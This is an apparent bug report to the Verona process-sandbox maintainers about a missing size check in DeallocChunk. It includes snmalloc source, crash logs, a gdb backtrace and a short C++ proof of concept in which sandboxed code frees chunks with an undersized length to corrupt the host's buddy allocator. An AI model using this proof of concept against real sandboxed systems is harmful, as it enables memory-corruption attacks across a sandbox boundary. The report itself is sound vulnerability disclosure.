security issue in DeallocChunk - lack bounds check on size

[saaramar]

There is a security issue in DeallocChunk, due to lack of bounds on size - just like in AllocChunk, size has to be >= snmalloc::MIN_CHUNK_SIZE. There is of course an assert for that in snmalloc, largebuddyrange.h, line 306:

    void dealloc_range(capptr::Chunk<void> base, size_t size)
    {
      SNMALLOC_ASSERT(size >= MIN_CHUNK_SIZE);
      SNMALLOC_ASSERT(bits::is_pow2(size));

      if constexpr (MAX_SIZE_BITS != (bits::BITS - 1))
      {
        if (size >= (bits::one_at_bit(MAX_SIZE_BITS) - 1))
        {
          parent_dealloc_range(base, size);
          return;
        }
      }

      auto overflow = capptr::Chunk<void>(reinterpret_cast<void*>(
        buddy_large.add_block(base.unsafe_uintptr(), size)));
      dealloc_overflow(overflow);
    }

I've built a simple POC which segfaults in release builds (probabilistically, not always):

root@754435a48673:/verona/experiments/process_sandbox/build-ninja# ./tests/test-sandbox-rpc-small-dealloc
AllocChunk with size==0x4000 --> 0x7f5e40040000
AllocChunk with size==0x4000 --> 0x7f5e4005c000
AllocChunk with size==0x4000 --> 0x7f5e4007c000
AllocChunk with size==0x4000 --> 0x7f5e40084000
dealloc 0x7f5e40040000

../tests/sandboxlib-rpc-small-dealloc.cc:30 in sendRequest: Read 0 bytes, expected 16

Segmentation fault
root@754435a48673:/verona/experiments/process_sandbox/build-ninja#

And, this is the callstack (originates from sandbox::MemoryServiceProvider::run()):

Temporary breakpoint 5, 0x000000000040d790 in main ()
(gdb) c
Continuing.
[New Thread 0x7fb195ec0700 (LWP 4013)]
[Detaching after vfork from child process 4014]
AllocChunk with size==0x4000 --> 0x7fb140040000
AllocChunk with size==0x4000 --> 0x7fb14005c000
AllocChunk with size==0x4000 --> 0x7fb14007c000
AllocChunk with size==0x4000 --> 0x7fb140084000
dealloc 0x7fb140040000

Thread 2 "test-sandbox-rp" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fb195ec0700 (LWP 4013)]
0x00007fb196486b90 in snmalloc::Buddy<snmalloc::BuddyChunkRep<sandbox::SharedAllocConfig::Pagemap>, 14ul, 63ul>::add_block(unsigned long, unsigned long) ()
   from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
(gdb) bt
#0  0x00007fb196486b90 in snmalloc::Buddy<snmalloc::BuddyChunkRep<sandbox::SharedAllocConfig::Pagemap>, 14ul, 63ul>::add_block(unsigned long, unsigned long) ()
   from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
#1  0x00007fb1964867ca in sandbox::SharedAllocConfig::dealloc_range(sandbox::SharedAllocConfig::LocalState&, snmalloc::CapPtr<void, snmalloc::capptr::bound<(snmalloc::capptr::dimension::Spatial)1, (snmalloc::capptr::dimension::AddressSpaceControl)1, (snmalloc::capptr::dimension::Wildness)1> >, unsigned long) () from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
#2  0x00007fb1964863b0 in sandbox::MemoryServiceProvider::run() () from /verona/experiments/process_sandbox/build-ninja/libsandbox.so
#3  0x00007fb1962f8de4 in ?? () from /lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x00007fb196414609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#5  0x00007fb195fe5163 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
(gdb) x/4i $pc
=> 0x7fb196486b90 <_ZN8snmalloc5BuddyINS_13BuddyChunkRepIN7sandbox17SharedAllocConfig7PagemapEEELm14ELm63EE9add_blockEmm+240>:  movzbl 0x8(%r10,%rdi,1),%eax
   0x7fb196486b96 <_ZN8snmalloc5BuddyINS_13BuddyChunkRepIN7sandbox17SharedAllocConfig7PagemapEEELm14ELm63EE9add_blockEmm+246>:  cmp    %r11,%rdx
   0x7fb196486b99 <_ZN8snmalloc5BuddyINS_13BuddyChunkRepIN7sandbox17SharedAllocConfig7PagemapEEELm14ELm63EE9add_blockEmm+249>:
    jbe    0x7fb196486bb0 <_ZN8snmalloc5BuddyINS_13BuddyChunkRepIN7sandbox17SharedAllocConfig7PagemapEEELm14ELm63EE9add_blockEmm+272>
   0x7fb196486b9b <_ZN8snmalloc5BuddyINS_13BuddyChunkRepIN7sandbox17SharedAllocConfig7PagemapEEELm14ELm63EE9add_blockEmm+251>:  test   %al,%al
(gdb) i r r10
r10            0x7f4000000000      139912854634496
(gdb) i r rdi
rdi            0xbcbcbcbfffff0     3320300905168880
(gdb)

In debug builds, of course, we have an abort due to the assert:

root@754435a48673:/verona/experiments/process_sandbox/build-ninja# ./tests/test-sandbox-rpc-small-dealloc
AllocChunk with size==0x4000 --> 0x7f99c0044000
AllocChunk with size==0x4000 --> 0x7f99c0050000
AllocChunk with size==0x4000 --> 0x7f99c0068000
AllocChunk with size==0x4000 --> 0x7f99c0078000
dealloc 0x7f99c0044000

assert fail: size >= MIN_CHUNK_SIZE in ../../../external/snmalloc/src/snmalloc/backend_helpers/largebuddyrange.h on 306


../tests/sandboxlib-rpc-small-dealloc.cc:30 in sendRequest: Read 0 bytes, expected 16

Aborted
root@754435a48673:/verona/experiments/process_sandbox/build-ninja#

POC (which could be simplified, of course):

bool attack(const void* base, const void* top)
{
  snmalloc::UNUSED(top);
  int error = 0;
  auto* header =
    static_cast<sandbox::SharedMemoryRegion*>(const_cast<void*>(base));
  uintptr_t ras =
    snmalloc::FrontendMetaEntry<snmalloc::FrontendSlabMetadata>::encode(
                    &header->allocator_state,
                    snmalloc::sizeclass_t::from_small_class(
                            snmalloc::size_to_sizeclass_const(snmalloc::MIN_CHUNK_SIZE)));
  snmalloc::UNUSED(ras);
  HostServiceResponse resp;

  uintptr_t allocs[ALLOCS_CNT] = { 0 };
  for (size_t i = 0; i < ALLOCS_CNT; ++i) {
    resp = sendRequest({AllocChunk, {snmalloc::MIN_CHUNK_SIZE, 0, 0}});
    if (resp.error != 0) {
      printf("failed, error == %lu\n", resp.error);
      return true;
    }
    allocs[i] = resp.ret;
    printf("AllocChunk with size==0x%lx --> 0x%lx\n", snmalloc::MIN_CHUNK_SIZE, allocs[i]);
  }

  for (size_t i = 0; i < ALLOCS_CNT; ++i) {
    printf("dealloc 0x%lx\n", allocs[i]);
    error = try_dealloc(reinterpret_cast<const char*>(allocs[i]), 0xc0);
    if (error != 0) {
      printf("dealloc failed\n");
      return false;
    }
    allocs[i] = 0;
  }

  return false;
}

extern "C" void sandbox_init()
{
  sandbox::ExportedLibrary::export_function(::attack);
}

@davidchisnall

[saaramar]

And of course, size has to be a power of 2. Basically same checks as the one @davidchisnall added here 5251561